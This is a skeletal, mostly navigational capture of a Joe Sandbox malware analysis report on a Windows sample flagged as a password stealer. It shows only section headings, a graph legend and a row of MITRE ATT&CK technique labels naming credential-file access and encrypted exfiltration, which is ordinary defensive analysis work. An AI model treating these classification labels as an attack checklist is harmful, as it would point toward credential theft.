Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.22053.10983.exe